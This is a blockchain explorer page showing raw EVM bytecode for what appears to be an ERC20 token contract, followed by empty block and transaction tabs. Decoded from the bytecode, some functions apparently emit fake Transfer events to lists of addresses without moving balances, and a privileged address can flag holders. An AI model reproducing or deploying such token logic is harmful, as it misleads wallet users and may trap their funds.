ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113de8261139c565b6113e881856113a6565b93506113f88185602086016113b6565b611401816113c4565b840191505092915050565b5f6020820190508181035f83015261142481846113d4565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114668261143d565b9050919050565b6114768161145c565b8114611480575f80fd5b50565b5f813590506114918161146d565b92915050565b5f819050919050565b6114a981611497565b81146114b3575f80fd5b50565b5f813590506114c4816114a0565b92915050565b5f80604083850312156114e0576114df611435565b5b5f6114ed85828601611483565b92505060206114fe858286016114b6565b9150509250929050565b5f8115159050919050565b61151c81611508565b82525050565b5f6020820190506115355f830184611513565b92915050565b61154481611497565b82525050565b5f60208201905061155d5f83018461153b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61159d826113c4565b810181811067ffffffffffffffff821117156115bc576115bb611567565b5b80604052505050565b5f6115ce61142c565b90506115da8282611594565b919050565b5f67ffffffffffffffff8211156115f9576115f8611567565b5b602082029050602081019050919050565b5f80fd5b5f61162061161b846115df565b6115c5565b905080838252602082019050602084028301858111156116435761164261160a565b5b835b8181101561166c57806116588882611483565b845260208401935050602081019050611645565b5050509392505050565b5f82601f83011261168a57611689611563565b5b813561169a84826020860161160e565b91505092915050565b6116ac81611508565b81146116b6575f80fd5b50565b5f813590506116c7816116a3565b92915050565b5f80604083850312156116e3576116e2611435565b5b5f83013567ffffffffffffffff811115611700576116ff611439565b5b61170c85828601611676565b925050602061171d858286016116b9565b9150509250929050565b5f805f6060848603121561173e5761173d611435565b5b5f61174b86828701611483565b935050602061175c86828701611483565b925050604061176d868287016114b6565b9150509250925092565b5f80fd5b5f8083601f8401126117905761178f611563565b5b8235905067ffffffffffffffff8111156117ad576117ac611777565b5b6020830191508360208202830111156117c9576117c861160a565b5b9250929050565b5f805f604084860312156117e7576117e6611435565b5b5f84013567ffffffffffffffff81111561180457611803611439565b5b6118108682870161177b565b93509350506020611823868287016114b6565b9150509250925092565b5f60ff82169050919050565b6118428161182d565b82525050565b5f60208201905061185b5f830184611839565b92915050565b61186a8161145c565b82525050565b5f6020820190506118835f830184611861565b92915050565b5f6020828403121561189e5761189d611435565b5b5f6118ab84828501611483565b91505092915050565b5f80604083850312156118ca576118c9611435565b5b5f6118d785828601611483565b92505060206118e885828601611483565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193657607f821691505b602082108103611949576119486118f2565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f6119836013836113a6565b915061198e8261194f565b602082019050919050565b5f6020820190508181035f8301526119b081611977565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a3e6026836113a6565b9150611a49826119e4565b604082019050919050565b5f6020820190508181035f830152611a6b81611a32565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611acc6024836113a6565b9150611ad782611a72565b604082019050919050565b5f6020820190508181035f830152611af981611ac0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5a6022836113a6565b9150611b6582611b00565b604082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bc2601d836113a6565b9150611bcd82611b8e565b602082019050919050565b5f6020820190508181035f830152611bef81611bb6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c506025836113a6565b9150611c5b82611bf6565b604082019050919050565b5f6020820190508181035f830152611c7d81611c44565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cde6023836113a6565b9150611ce982611c84565b604082019050919050565b5f6020820190508181035f830152611d0b81611cd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d6c6026836113a6565b9150611d7782611d12565b604082019050919050565b5f6020820190508181035f830152611d9981611d60565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611dd46020836113a6565b9150611ddf82611da0565b602082019050919050565b5f6020820190508181035f830152611e0181611dc8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e3f82611497565b9150611e4a83611497565b925082611e5a57611e59611e08565b5b82820490509291505056fea2646970667358221220c70b4aeabd7c89f46a5d29cbbb18d2f60c9390ef0e4905225b0be054da93e53364736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061012a575f3560e01c8063715018a6116100ab578063beabacc81161006f578063beabacc81461031c578063ca72a4e714610338578063dd62ed3e14610354578063e2f4560514610384578063f2fde38b146103a25761012a565b8063715018a61461028a5780638da5cb5b1461029457806395d89b41146102b2578063a9059cbb146102d0578063b18834aa146103005761012a565b806326ededb8116100f257806326ededb8146101e6578063313ce56714610202578063321bef231461022057806349bd5a5e1461023c57806370a082311461025a5761012a565b806306fdde031461012e578063095ea7b31461014c57806318160ddd1461017c5780632349e24a1461019a57806323b872dd146101b6575b5f80fd5b6101366103be565b604051610143919061140c565b60405180910390f35b610166600480360381019061016191906114ca565b61044e565b6040516101739190611522565b60405180910390f35b610184610470565b604051610191919061154a565b60405180910390f35b6101b460048036038101906101af91906116cd565b610479565b005b6101d060048036038101906101cb9190611727565b610656565b6040516101dd9190611522565b60405180910390f35b61020060048036038101906101fb91906117d0565b610684565b005b61020a610751565b6040516102179190611848565b60405180910390f35b61023a600480360381019061023591906117d0565b610759565b005b610244610826565b6040516102519190611870565b60405180910390f35b610274600480360381019061026f9190611889565b61084b565b604051610281919061154a565b60405180910390f35b610292610891565b005b61029c6108a4565b6040516102a99190611870565b60405180910390f35b6102ba6108cb565b6040516102c7919061140c565b60405180910390f35b6102ea60048036038101906102e591906114ca565b61095b565b6040516102f79190611522565b60405180910390f35b61031a600480360381019061031591906117d0565b61097d565b005b61033660048036038101906103319190611727565b610a4a565b005b610352600480360381019061034d9190611889565b610ab4565b005b61036e600480360381019061036991906118b4565b610b07565b60405161037b919061154a565b60405180910390f35b61038c610b89565b604051610399919061154a565b60405180910390f35b6103bc60048036038101906103b79190611889565b610b8f565b005b6060600480546103cd9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546103f99061191f565b80156104445780601f1061041b57610100808354040283529160200191610444565b820191905f5260205f20905b81548152906001019060200180831161042757829003601f168201915b5050505050905090565b5f80610458610c11565b9050610465818585610c18565b600191505092915050565b5f600354905090565b600b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ff90611999565b60405180910390fd5b5f5b825181101561065157600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683828151811061055e5761055d6119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614806105aa57505f6105a784838151811061059a576105996119b7565b5b602002602001015161084b565b11155b8061061b5750811515600a5f8584815181106105c9576105c86119b7565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161515145b61064457610643838281518110610635576106346119b7565b5b602002602001015183610ddb565b5b808060010191505061050a565b505050565b5f80610660610c11565b905061066d858285610e33565b610678858585610ebe565b60019150509392505050565b5f5b8383905081101561074b578383828181106106a4576106a36119b7565b5b90506020020160208101906106b99190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610736919061154a565b60405180910390a38080600101915050610686565b50505050565b5f6008905090565b5f5b8383905081101561082057838382818110610779576107786119b7565b5b905060200201602081019061078e9190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161080b919061154a565b60405180910390a3808060010191505061075b565b50505050565b600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6108996111e6565b6108a25f611264565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108da9061191f565b80601f01602080910402602001604051908101604052809291908181526020018280546109069061191f565b80156109515780601f1061092857610100808354040283529160200191610951565b820191905f5260205f20905b81548152906001019060200180831161093457829003601f168201915b5050505050905090565b5f80610965610c11565b9050610972818585610ebe565b600191505092915050565b5f5b83839050811015610a445783838281811061099d5761099c6119b7565b5b90506020020160208101906109b29190611889565b73ffffffffffffffffffffffffffffffffffffffff16600c5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a2f919061154a565b60405180910390a3808060010191505061097f565b50505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610aa7919061154a565b60405180910390a3505050565b610abc6111e6565b80600b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b04610891565b50565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b610b976111e6565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfc90611a54565b60405180910390fd5b610c0e81611264565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90611ae2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ceb90611b70565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dce919061154a565b60405180910390a3505050565b80600a5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f610e3e8484610b07565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610eb85781811015610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190611bd8565b60405180910390fd5b610eb78484848403610c18565b5b50505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2390611c66565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9190611cf4565b60405180910390fd5b5f610fa43061084b565b90505f6009548210159050808015610fc8575060085f9054906101000a900460ff16155b801561101a5750600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561105c57600160085f6101000a81548160ff02191690831515021790555061104285611325565b5f60085f6101000a81548160ff0219169083151502179055505b5f60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050838110156110e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d790611d82565b60405180910390fd5b83810360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508360015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516111cb919061154a565b60405180910390a36111de868686611397565b505050505050565b6111ee610c11565b73ffffffffffffffffffffffffffffffffffffffff1661120c6108a4565b73ffffffffffffffffffffffffffffffffffffffff1614611262576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125990611dea565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f61132f8261084b565b90505f60019050600a8211156113455760065490505b80826113519190611e35565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6113de8261139c565b6113e881856113a6565b93506113f88185602086016113b6565b611401816113c4565b840191505092915050565b5f6020820190508181035f83015261142481846113d4565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114668261143d565b9050919050565b6114768161145c565b8114611480575f80fd5b50565b5f813590506114918161146d565b92915050565b5f819050919050565b6114a981611497565b81146114b3575f80fd5b50565b5f813590506114c4816114a0565b92915050565b5f80604083850312156114e0576114df611435565b5b5f6114ed85828601611483565b92505060206114fe858286016114b6565b9150509250929050565b5f8115159050919050565b61151c81611508565b82525050565b5f6020820190506115355f830184611513565b92915050565b61154481611497565b82525050565b5f60208201905061155d5f83018461153b565b92915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61159d826113c4565b810181811067ffffffffffffffff821117156115bc576115bb611567565b5b80604052505050565b5f6115ce61142c565b90506115da8282611594565b919050565b5f67ffffffffffffffff8211156115f9576115f8611567565b5b602082029050602081019050919050565b5f80fd5b5f61162061161b846115df565b6115c5565b905080838252602082019050602084028301858111156116435761164261160a565b5b835b8181101561166c57806116588882611483565b845260208401935050602081019050611645565b5050509392505050565b5f82601f83011261168a57611689611563565b5b813561169a84826020860161160e565b91505092915050565b6116ac81611508565b81146116b6575f80fd5b50565b5f813590506116c7816116a3565b92915050565b5f80604083850312156116e3576116e2611435565b5b5f83013567ffffffffffffffff811115611700576116ff611439565b5b61170c85828601611676565b925050602061171d858286016116b9565b9150509250929050565b5f805f6060848603121561173e5761173d611435565b5b5f61174b86828701611483565b935050602061175c86828701611483565b925050604061176d868287016114b6565b9150509250925092565b5f80fd5b5f8083601f8401126117905761178f611563565b5b8235905067ffffffffffffffff8111156117ad576117ac611777565b5b6020830191508360208202830111156117c9576117c861160a565b5b9250929050565b5f805f604084860312156117e7576117e6611435565b5b5f84013567ffffffffffffffff81111561180457611803611439565b5b6118108682870161177b565b93509350506020611823868287016114b6565b9150509250925092565b5f60ff82169050919050565b6118428161182d565b82525050565b5f60208201905061185b5f830184611839565b92915050565b61186a8161145c565b82525050565b5f6020820190506118835f830184611861565b92915050565b5f6020828403121561189e5761189d611435565b5b5f6118ab84828501611483565b91505092915050565b5f80604083850312156118ca576118c9611435565b5b5f6118d785828601611483565b92505060206118e885828601611483565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061193657607f821691505b602082108103611949576119486118f2565b5b50919050565b7f5f61697264726f704164647265737320657272000000000000000000000000005f82015250565b5f6119836013836113a6565b915061198e8261194f565b602082019050919050565b5f6020820190508181035f8301526119b081611977565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611a3e6026836113a6565b9150611a49826119e4565b604082019050919050565b5f6020820190508181035f830152611a6b81611a32565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611acc6024836113a6565b9150611ad782611a72565b604082019050919050565b5f6020820190508181035f830152611af981611ac0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5a6022836113a6565b9150611b6582611b00565b604082019050919050565b5f6020820190508181035f830152611b8781611b4e565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611bc2601d836113a6565b9150611bcd82611b8e565b602082019050919050565b5f6020820190508181035f830152611bef81611bb6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611c506025836113a6565b9150611c5b82611bf6565b604082019050919050565b5f6020820190508181035f830152611c7d81611c44565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611cde6023836113a6565b9150611ce982611c84565b604082019050919050565b5f6020820190508181035f830152611d0b81611cd2565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d6c6026836113a6565b9150611d7782611d12565b604082019050919050565b5f6020820190508181035f830152611d9981611d60565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611dd46020836113a6565b9150611ddf82611da0565b602082019050919050565b5f6020820190508181035f830152611e0181611dc8565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611e3f82611497565b9150611e4a83611497565b925082611e5a57611e59611e08565b5b82820490509291505056fea2646970667358221220c70b4aeabd7c89f46a5d29cbbb18d2f60c9390ef0e4905225b0be054da93e53364736f6c63430008190033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.